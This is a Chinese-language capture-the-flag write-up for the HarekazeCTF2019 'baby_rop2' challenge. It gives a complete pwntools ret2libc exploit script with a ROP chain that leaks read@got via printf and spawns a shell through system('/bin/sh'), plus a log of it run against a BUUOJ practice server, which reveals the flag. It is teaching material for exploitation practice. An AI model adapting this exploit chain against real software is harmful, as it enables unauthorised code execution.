[HarekazeCTF2019]baby_rop2 1

例题:[HarekazeCTF2019]baby_rop2 1
首先检查一下文件:

C:\Users\A\Downloads>checksec babyrop2
[*] 'C:\\Users\\A\\Downloads\\babyrop2'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    Stripped:   No
  • 64位程序,小端序
  • GOT表只读
  • 没有栈保护
  • 栈不可执行
  • 地址固定
  • 保留了字符表和调试信息

思路分析

查看一下mian函数:
image

注意:这里的buf[v5 - 1] = 0对对我们栈溢出没有任何影响,它只是截断字符串而已。
因此很明显这是一个简单的ret2libc的题

用ROPgadget查找一下rdi,rsi,和%s(因为要构造printf("%s",read_got))

┌──(venv)─(kali㉿kali)-[~/Desktop/ctf/pwn/attack]
└─$ ROPgadget --binary babyrop2 --only "pop|ret" | grep "rsi"
0x0000000000400731 : pop rsi ; pop r15 ; ret
                                                                                                                             
┌──(venv)─(kali㉿kali)-[~/Desktop/ctf/pwn/attack]
└─$ ROPgadget --binary babyrop2 --only "pop|ret" | grep "rdi"
0x0000000000400733 : pop rdi ; ret
                                                                                                                             
┌──(venv)─(kali㉿kali)-[~/Desktop/ctf/pwn/attack]
└─$ ROPgadget --binary babyrop2 --string "%s"                
Strings information
============================================================
0x0000000000400790 : %s

攻击脚本

from pwn import *
import sys
sys.path.append("../tools/LibcSearcher")
from LibcSearcher import *

file = "./babyrop2"
#context.log_level = 'debug'

elf = ELF(file)
main = elf.symbols["main"]
printf_plt = elf.plt["printf"]
read_got = elf.got["read"]
pop_rdi_ret = 0x400733 
pop_rsi_r15_ret = 0x400731
ret = 0x4004d1
format_str = 0x400790

offset = 0x20 + 8

local = 2
if local == 1:
    io = process(file)
else:
    io = remote("node5.buuoj.cn",26793)

pay = b'a' * offset
pay += p64(pop_rdi_ret) + p64(format_str) + p64(pop_rsi_r15_ret) + p64(read_got) + p64(0) + p64(printf_plt)
pay += p64(main)
io.recvuntil(b"name? ")
io.send(pay)
io.recvuntil(b'!\n')
read = u64(io.recvuntil(b"\x7f").ljust(8,b'\x00'))
print(hex(read))

libc = LibcSearcher("read",read)
libc_base = read - libc.dump("read")
system = libc_base + libc.dump("system")
bin_sh = libc_base + libc.dump("str_bin_sh")

pay = b'a' * offset + p64(pop_rdi_ret) + p64(bin_sh) + p64(system)
io.recvuntil(b"name? ")
io.send(pay)
io.recvline()

io.interactive()

记得下载题目给的libc,远程才打得通(可以下载后添加到LibcSearcher里)

libc添加方式:在LibcSearcher/libc-database里
使用./add libc.so.6 命令

点击查看代码
[+] Opening connection to node5.buuoj.cn on port 26793: Done
0x7f29b045c250
Multi Results:
 0: /home/kali/Desktop/ctf/pwn/tools/LibcSearcher/libc-database/libc.so.6 (id local-56d992a0342a67a887b8dcaae381d2cc51205253)
 1: ubuntu-old-glibc (id libc6-amd64_2.30-0ubuntu2_i386)
 2: ubuntu-glibc (id libc6-amd64_2.31-0ubuntu9_i386)
 3: ubuntu-old-glibc (id libc6-i386_2.34-0ubuntu3_amd64)
 4: ubuntu-old-glibc (id libc6-i386_2.19-10ubuntu2.3_amd64)
Please supply more info using 
        add_condition(leaked_func, leaked_address).
You can choose it by hand
Or type 'exit' to quit:0
[+] /home/kali/Desktop/ctf/pwn/tools/LibcSearcher/libc-database/libc.so.6 (id local-56d992a0342a67a887b8dcaae381d2cc51205253) be choosed.
[*] Switching to interactive mode
$ find -name "flag"
find: './root': Permission denied
./home/babyrop2/flag
find: './proc/tty/driver': Permission denied
find: './proc/1/task/1/fd': Permission denied
find: './proc/1/task/1/fdinfo': Permission denied
find: './proc/1/task/1/ns': Permission denied
find: './proc/1/fd': Permission denied
find: './proc/1/map_files': Permission denied
find: './proc/1/fdinfo': Permission denied
find: './proc/1/ns': Permission denied
find: './proc/7/task/7/fd': Permission denied
find: './proc/7/task/7/fdinfo': Permission denied
find: './proc/7/task/7/ns': Permission denied
find: './proc/7/fd': Permission denied
find: './proc/7/map_files': Permission denied
find: './proc/7/fdinfo': Permission denied
find: './proc/7/ns': Permission denied
find: './var/cache/ldconfig': Permission denied
find: './var/cache/apt/archives/partial': Permission denied
find: './var/lib/apt/lists/partial': Permission denied
find: './var/spool/rsyslog': Permission denied
find: './var/spool/cron/crontabs': Permission denied
$ cat ./home/babyrop2/flag
flag{ee8f0e18-c04a-45cf-9b57-6e1e17112509}
$ 
[*] Closed connection to node5.buuoj.cn port 26793

疑惑点

这里为什么不能用printf@plt取泄露printf@got的地址?
简单来说,第一次调用,got表的绑定有一定的时间延迟,也只有这个能大概解释一下,比如下面两个图片(第一个是泄露printf,第二个是泄露read的):
image
image

泄露printf的只接收到0x53字节,而泄露read的接收到0x59字节,两个刚好相差0x6字节,即函数地址的长度(64位的一般来说都是6字节),也就是说,这里找不到printf@got的位置。

当然,一般ret2libc也可以去泄露__libc_start_main函数,因为这是libc的主函数,一般都会被调用的。而且不会有其他莫名其妙的问题(除了got表被改写之类的)。

为什么用%s,而不是%p?
首先这里找不到%p,基本只能用%s了。
其次,%p泄露的是got表的地址,不是函数的地址,got表项指向的地址才是函数的地址。而%s的原理就是根据地址找到地址指向的值。也是比较符合的。

posted @ 2025-08-09 13:39  星冥鸢  阅读(50)  评论(0)    收藏  举报